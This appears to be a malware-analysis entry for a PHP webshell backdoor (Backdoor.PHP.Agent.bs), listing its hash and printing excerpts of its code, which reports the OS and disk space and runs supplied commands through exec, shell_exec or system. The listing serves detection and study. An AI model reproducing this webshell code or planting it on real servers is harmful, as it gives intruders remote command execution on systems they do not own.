Backdoor.PHP.Agent.bs
PHP webshell backdoor
Web ShellChecks available disk space
SHA-256574ecafef28f2cca7e4e0e861f1bce02820c12ae0d0f2165fa76e8790b87ed9c
MaleculeTh
Evidence
1<?
2$dir = @getcwd();
3echo "Jikustik<br>";
4$OS = @PHP_OS;
5echo "OSTYPE:$OS<br>";
6$free = disk_free_space($dir);
7if ($free === FALSE) {$free = 0;}
8if ($free < 0) {$free = 0;}
⋯6 lines
15if (!empty($cfe)){
16if(function_exists('exec')){
17@exec($cfe,$res);
18$res = join("\n",$res);
19}
20elseif(function_exists('shell_exec')){
21$res = @shell_exec($cfe);
22}
23elseif(function_exists('system')){
24@ob_start();
25@system($cfe);
26$res = @ob_get_contents();
27@ob_end_clean();
28}
⋯10 lines